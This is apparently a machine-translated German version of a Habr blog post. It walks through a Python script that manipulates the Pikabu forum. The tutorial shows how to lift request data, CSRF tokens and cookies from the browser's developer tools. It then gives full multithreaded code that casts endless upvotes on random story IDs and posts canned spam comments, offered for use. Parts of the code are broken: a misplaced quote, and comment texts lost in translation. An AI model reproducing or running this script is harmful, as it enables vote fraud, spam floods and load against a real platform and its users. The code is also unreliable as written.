Sicherheitsanfälligkeit in Pikabu-Spam

Guten Tag. Ich möchte über die Spam-Schwachstelle des Pikabu-Forums sprechen.


Ich denke, das Forum ist nicht das beste, also teste ich alles darauf.


Was ist der Punkt?


Die Sicherheitslücke liegt in der Zunahme der Aktivität, der Anzahl der Bewertungen und der Kommentare für die Mindestzeit mithilfe eines Python-Skripts.


Zeig es mir!


Skriptoperation innerhalb von 24 Stunden:


Bild


Denken Sie, ich habe den HTML-Code bearbeitet? Und nein!


Wie hast du das gemacht ?!


Sehr einfach!


Erstellen Sie zunächst eine .py-Datei:


Bild


Als nächstes importieren wir die Module, mit denen wir Anforderungen zum Ausführen von Aktionen stellen, sowie ein Modul zum Multithreading unseres Skripts:


import requests from threading import Thread 

Erstellen wir nun eine Funktion mit einer Endlosschleife, die unsere Anforderungen sendet:


 def spam(): while True: req = requests.post('') 

Aber woher kennen Sie die Anforderungsdaten?


Öffne FireFox und gehe zu Pikabu.


Wählen Sie ein beliebiges Thema. Bewegen Sie den Mauszeiger über den Aufwärtspfeil:


Bild


Drücken Sie nun die Tastenkombination: cntr + shift + i.


Die Entwickler-Symbolleiste wurde auf dem Bildschirm angezeigt:


Um die Vision teurer Forumbenutzer zu bewahren, musste ich das AdBlock-Thema (Ohm) herausschneiden:


Bild


Gehen wir zur Registerkarte "Netzwerk".


Jetzt sehen wir alle ausgehenden Anfragen in diesem Browser.


Klicken Sie auf den Pfeil "Thema bewerten" und sehen Sie sich schnell das Abfragefeld an.
Drücken Sie die Taste "Methode", bis die erste Anfrage eine Anfrage vom Typ "POST" ist:


Bild


Unter den ersten Abfragen finden Sie diese:


Bild


Klicken Sie mit der rechten Maustaste darauf und bewegen Sie den Mauszeiger über die Schaltfläche Kopieren. Wählen Sie POST-Daten kopieren. Fügen Sie als Nächstes die Daten folgendermaßen in die Abfrage ein:


 req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, ) 

Aber dann werden wir den gleichen Beitrag bewerten!


Um dies zu beheben, fügen Sie das "zufällige" Modul mit dem folgenden Code zu den bereits importierten Modulen hinzu:


 import random 

Und fügen Sie die Zeile zur while-Schleife hinzu:


 story = random.randint(1000000, 6865568) 

Lassen Sie uns weiterhin eine Anfrage erstellen! Folgendes haben wir bereits getan:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, ) 

Fügen Sie der Anfrage das Wichtigste hinzu - die Überschriften. Kehren wir zu FireFox zurück, klicken Sie einfach mit der rechten Maustaste auf die Anfrage und wählen Sie "Kopieren", diesmal jedoch "Header anfordern".
Fügen Sie sie auf die gleiche Weise über den Doppelpunkt und die Anführungszeichen in den Code ein:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': '  ' }) 

Geben Sie im Feld "Ihre Daten" Ihre Werte ein.


Zeigen Sie den Status der Anfrage an:


 print(req) 

Wenn "Antwort <200>" angezeigt wird, wurde die Anfrage gesendet und das Thema bewertet.
Als Nächstes machen wir das Skript etwas schneller (genau 55 Mal).


Erstellen Sie Threading für unsere Anfragen:


 for i in range(55): thr = Thread(target = spam) thr.start() 

Nun, das ist es! Du kannst rennen.


Und hier ist der ganze Code:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': '  ' }) print(req) for i in range(55): thr = Thread(target = spam) thr.start() 

Auf die gleiche Weise werden Cheat-Kommentare gemacht. Ich werde es nicht im Detail erklären, sondern nur den Code auslegen:


 # -*- coding: utf8 -*- import requests from threading import Thread import random def sender(): comments = [' !  !  !', ' ! !    !', '  ! !     ...', '!  !', '  .  !', ', !', ' !  !  !', ' ! !'] while True: #6863803 postid = random.randint(1000000, 6865568) comnom = random.randint(0, 7) req = requests.post('https://pikabu.ru/ajax/comments_actions.php', data = { 'desc':comments[comnom], 'action':'create', 'story_id':postid, 'parent_id':'0', 'images':'[]' }, headers = { 'Accept':'application/json, text/javascript, */*; q=0.01', 'Accept-Encoding':'gzip, deflate, br', 'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Content-Length':'23', 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Cookie':' ', 'Host':'pikabu.ru', 'Referer':'https://pikabu.ru/', 'TE':'Trailers', 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0', 'X-Csrf-Token':' ', 'X-Requested-With':'XMLHttpRequest'}) print(postid, ' commented: ',req.text) for i in range(35): thr = Thread(target = sender) thr.start() print(thr) print('All thread are initialized! Programm started!') 

Nun, das ist alles. Sie können Beiträge und Kommentare stürmen.


Viel Glück


Liebe Habr.


Die oben genannten Handlungen sind völlig legal und verstoßen nicht gegen mehr als einen Artikel des Strafgesetzbuchs der Russischen Föderation vom 10/02/2019.

Source: https://habr.com/ru/post/de469839/


All Articles